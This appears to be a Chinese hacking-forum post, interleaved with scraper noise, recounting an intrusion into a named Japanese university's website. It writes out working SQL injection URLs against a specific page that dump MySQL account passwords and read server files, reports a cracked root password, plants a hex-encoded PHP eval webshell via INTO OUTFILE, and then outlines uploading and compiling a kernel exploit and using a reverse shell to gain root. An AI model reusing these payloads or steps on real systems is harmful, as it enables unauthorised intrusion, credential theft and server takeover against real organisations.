入侵日本同志社大学技术分析: V, \6 U+ `- k) m
% n$ ~' b& r6 t' @1 J+ m
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
9 e/ v9 a9 w5 w$ [+ Y7 ?* ~然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:$ W3 B* T- m6 n j, p5 Z3 m
" e/ j* J) n5 ?7 [4 |, J+ z: phttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
- B! X: \! L/ A- c2 }% @% F2 {
/ P6 g* \( `; i0 S4 J + N$ ~; ^8 F* G" c' y
: q7 ^8 d; e# t//@@datadir为数据库文件路径
( Y& |9 @, q: e: Q7 e
; R$ i# K( k5 m
( e- F" F" l0 v9 E \3 j8 |# R$ t//load_file读取网站容器apache的配置文件
* u- l8 d# M. C4 [
4 ?! S1 }" g* f' q4 K5 H1 ^4 X7 f
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ! v; U6 q) ^/ s1 F- g% i; a
复制代码1 I# d/ z( S# R6 O# |; q
! h* r z4 V% ^# @
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。; B& ] v; L# s/ i6 V7 `1 S
( P' x6 k. n4 a9 \. m; x
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
, X2 Z( q0 F( c(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
" B$ S; X8 j' X. a6 k \5 W/ a" g
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
! O. \" Z. u7 Q; R+ H如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
# j$ ~) V3 {* m i4 ^6 Z
- f, P4 h5 A! E# u: b7 t' t既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
! X; u) z9 o( S. B( [虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
1 ~2 Z2 f3 J. o直接写一句话:
8 l% Y+ @/ v% q3 z" j B3 e
4 O3 b1 V a% N8 Zhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
6 |' h; [7 C+ n1 G# K, t! w- }- Q- o/ g- _
5 h: k# i9 V- I/ ?1 f+ L3 M
( F7 h% P+ J0 I: D
2 u( M# q& `% d4 ~2 `/ |) y//最后的#是为了闭合前面的语句
- h( t# V2 G* D" t1 }8 [ . o g* s( r. B1 S- W7 F* e" z
! o5 d8 d9 w& M4 S3 S
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E , ~ Z' d7 `2 D* x! c5 D5 W
) ]3 s' ?# Z3 o) m
9 I1 V4 ^' u2 `8 _! e9 l
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
1 K9 j* k* c" {/ ?. A: k " `8 Z7 h2 u) X
( @! x- m a5 }4 u# b& T" J+ M//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
/ U# @( Q) m# b- ~
- _5 t& }. C/ _; ^
2 j- _% j8 w7 l8 \3 s$ v//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
) V4 J6 t) {! _; \. c" N$ J- t//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” , T) O, N- t+ U) W P
复制代码
1 `# u* g: N7 v% b# ^$ _2 o+ ?% B
- y% S* i- D9 T" C% u+ yHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
, [5 Y) y* x- T! B# Q: q通过上述注入语句,我们就得到了一句话木马:
- t! M$ U+ T e" a+ k
( F, l& U$ t9 L( h. V' J, k* v5 y, G
0 q/ H+ j9 w4 C8 T% g
1 E. l( }) z! L2 @" Z
. d5 x' a+ g! y. R% {/ U0 V. U$ [2 b* i. w. W
http://www.doshisha.ac.jp/english/engnews_img/aa.php ; J2 j; c m1 D# E# m
复制代码
" k! Z9 g# C, |, `
9 P, w, f% f3 F0 L( `用菜刀连接,密码是cmd,如图所示:
% d" R7 \2 J J! q, T, F然后在命令提示行里看了一下,现在的权限是:
. Q2 s* E" }/ l7 r9 T3 d) b0 Z( \ f1 T* y) Q) V4 T/ I: {7 u
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。! O& h% }& ?# d/ w4 V
好在赋权给这个文件夹不需要root,直接执行赋权语句:
) E- h- I( a Z) p0 @6 n. k, A$ D& R: v! ?9 Y. {$ L
- f! f( l8 w9 W) Y9 f$ Z
6 y; i( V: W Y F- ]( e: e% f+ `# x# p
) D8 s' J% }4 j5 p: u% d6 H4 [
* t" P0 g0 X |; N! v9 h6 ], M. q! z: Q8 L
chmod +x /tmp/
$ M+ P" i$ z6 a4 _5 {, B) D复制代码' K% q2 `/ t4 l* A2 I
& h4 O+ c. g3 | c
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行1 E* g4 `' A2 n/ U/ s* h G K8 l
然后就查了一下内核版本:
6 ^# k( z3 @- Y0 N
$ V7 y* b+ R& k8 A- W3 n
! Z m+ o7 \1 D5 d2 P4 [
2 F6 [/ M4 P9 w2 {6 _6 r / P5 X5 F0 @* f7 ^
4 N2 t2 q' q8 j O5 A
uname-a
9 I1 ~. I% N3 s1 c# N2 @& d, P ' _3 N+ e% [. P, I8 w: {" j
W& b. ]' n7 }: e4 h" r4 j//其实lsb_release -a - D" c# z" }" g5 }2 |) \3 s5 \
复制代码
# {% b6 v0 H, d- U
1 o, f$ h% L' ?% m J- w如图所示:5 m" }% t- p/ ^# d: j$ _
+ `% y/ U/ R s, H
内核版本:linux mainz1 2.6.28-194.e150 X1 P3 [1 x8 P$ e
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga). W' v( t# O( j3 P: T) Y
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
! g1 A, l0 Q. @9 g, c
' X9 r1 J9 w: Z4 D* w然后给予执行权限/ U( i( S1 D0 r: C; r' T# u
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样' K2 [2 {9 P7 p, s3 ]
0 N' ^& j" |9 p e0 } [; O
# o3 z0 z f; K+ B
8 x8 S8 M0 Q: B
# B0 s9 g0 F; T
9 \. ?1 {* P# r$ \3 ? w
chmod +x /tmp/2.6.18-194
/ W4 S+ w0 v% ~1 s- ]9 {0 R' c复制代码 然后直接执行!~ m' O5 G' j, F
% F% v& W: I3 ]: O8 j1 t) J总结:) P2 m N2 t8 X$ ? [
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
% o8 c! d5 F; O' v+ z( e ]$ }) _提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root$ q O) q6 o8 U6 J
7 L$ ?3 }& D; C1 ^- H8 t9 W
|